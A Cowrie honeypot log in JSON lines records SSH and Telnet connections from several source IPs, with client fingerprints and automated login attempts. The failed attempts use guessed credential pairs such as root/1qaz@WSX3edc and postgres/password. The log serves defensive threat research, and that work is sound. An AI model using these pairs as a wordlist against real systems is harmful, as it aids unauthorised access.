{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":33584,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b2d5e7e4bf7","protocol":"ssh","message":"New connection: 176.65.132.129:33584 (10.17.0.5:22) [session: 2b2d5e7e4bf7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:12.079334Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:12.084490Z","src_ip":"176.65.132.129","session":"2b2d5e7e4bf7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:12.166823Z","src_ip":"176.65.132.129","session":"2b2d5e7e4bf7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@WSX3edc","message":"login attempt [root/1qaz@WSX3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:12.413379Z","src_ip":"176.65.132.129","session":"2b2d5e7e4bf7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:13.505605Z","src_ip":"176.65.132.129","session":"2b2d5e7e4bf7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":33592,"dst_ip":"10.17.0.5","dst_port":22,"session":"800005dd5ea5","protocol":"ssh","message":"New connection: 176.65.132.129:33592 (10.17.0.5:22) [session: 800005dd5ea5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:15.364985Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:15.370190Z","src_ip":"176.65.132.129","session":"800005dd5ea5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:15.452218Z","src_ip":"176.65.132.129","session":"800005dd5ea5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root1","password":"123456","message":"login attempt [root1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:15.948961Z","src_ip":"176.65.132.129","session":"800005dd5ea5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:17.036435Z","src_ip":"176.65.132.129","session":"800005dd5ea5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.89838671684265,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:17.163867Z","src_ip":"64.227.82.147","session":"b1ef3e5df0a3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.87837314605713,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:18.556229Z","src_ip":"38.60.198.128","session":"5970760d9dea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":41662,"dst_ip":"10.17.0.5","dst_port":22,"session":"b32a0e930d2d","protocol":"ssh","message":"New connection: 176.65.132.129:41662 (10.17.0.5:22) [session: b32a0e930d2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:18.829777Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:18.834771Z","src_ip":"176.65.132.129","session":"b32a0e930d2d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:18.916658Z","src_ip":"176.65.132.129","session":"b32a0e930d2d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"password","message":"login attempt [postgres/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:19.161862Z","src_ip":"176.65.132.129","session":"b32a0e930d2d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"199.195.254.215","src_port":52820,"dst_ip":"10.17.0.5","dst_port":22,"session":"c08bd9f3eec9","protocol":"ssh","message":"New connection: 199.195.254.215:52820 (10.17.0.5:22) [session: c08bd9f3eec9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:19.243330Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:19.253113Z","src_ip":"199.195.254.215","session":"c08bd9f3eec9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:19.868062Z","src_ip":"199.195.254.215","session":"c08bd9f3eec9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"82.163.78.34","src_port":48402,"dst_ip":"159.203.135.109","dst_port":23,"session":"22f72ec4cd24","protocol":"telnet","message":"New connection: 82.163.78.34:48402 (159.203.135.109:23) [session: 22f72ec4cd24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:20.197368Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:20.378675Z","src_ip":"176.65.132.129","session":"b32a0e930d2d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":41676,"dst_ip":"10.17.0.5","dst_port":22,"session":"789c568bde08","protocol":"ssh","message":"New connection: 176.65.132.129:41676 (10.17.0.5:22) [session: 789c568bde08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:22.140752Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:22.144925Z","src_ip":"176.65.132.129","session":"789c568bde08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:22.226895Z","src_ip":"176.65.132.129","session":"789c568bde08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts3","password":"12345","message":"login attempt [ts3/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:22.424084Z","src_ip":"199.195.254.215","session":"c08bd9f3eec9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"111","message":"login attempt [user/111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:22.474106Z","src_ip":"176.65.132.129","session":"789c568bde08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"168.167.228.74","src_port":39019,"dst_ip":"159.203.135.109","dst_port":22,"session":"cc8e0749a591","protocol":"ssh","message":"New connection: 168.167.228.74:39019 (159.203.135.109:22) [session: cc8e0749a591]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:22.991471Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:22.996355Z","src_ip":"168.167.228.74","session":"cc8e0749a591","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:23.248275Z","src_ip":"168.167.228.74","session":"cc8e0749a591","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:23.557492Z","src_ip":"176.65.132.129","session":"789c568bde08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:24.039331Z","src_ip":"199.195.254.215","session":"c08bd9f3eec9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"redhat@2024","message":"login attempt [root/redhat@2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:24.269325Z","src_ip":"168.167.228.74","session":"cc8e0749a591","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:25.522610Z","src_ip":"168.167.228.74","session":"cc8e0749a591","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":41686,"dst_ip":"10.17.0.5","dst_port":22,"session":"c7f85805d75a","protocol":"ssh","message":"New connection: 176.65.132.129:41686 (10.17.0.5:22) [session: c7f85805d75a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:25.552243Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:25.556313Z","src_ip":"176.65.132.129","session":"c7f85805d75a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:25.637727Z","src_ip":"176.65.132.129","session":"c7f85805d75a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy@123","message":"login attempt [deploy/deploy@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:25.884564Z","src_ip":"176.65.132.129","session":"c7f85805d75a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:26.968898Z","src_ip":"176.65.132.129","session":"c7f85805d75a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":42502,"dst_ip":"10.17.0.5","dst_port":22,"session":"7217b6ae83d3","protocol":"ssh","message":"New connection: 176.65.132.129:42502 (10.17.0.5:22) [session: 7217b6ae83d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:28.832843Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:28.837366Z","src_ip":"176.65.132.129","session":"7217b6ae83d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:28.919477Z","src_ip":"176.65.132.129","session":"7217b6ae83d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esuser","password":"esuser","message":"login attempt [esuser/esuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:29.164565Z","src_ip":"176.65.132.129","session":"7217b6ae83d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":42146,"dst_ip":"10.17.0.5","dst_port":23,"session":"f43494d7fba2","protocol":"telnet","message":"New connection: 45.81.23.16:42146 (10.17.0.5:23) [session: f43494d7fba2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:29.265976Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:30.249782Z","src_ip":"176.65.132.129","session":"7217b6ae83d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":42160,"dst_ip":"10.17.0.5","dst_port":23,"session":"c13b4efe3d23","protocol":"telnet","message":"New connection: 45.81.23.16:42160 (10.17.0.5:23) [session: c13b4efe3d23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:30.802251Z"}
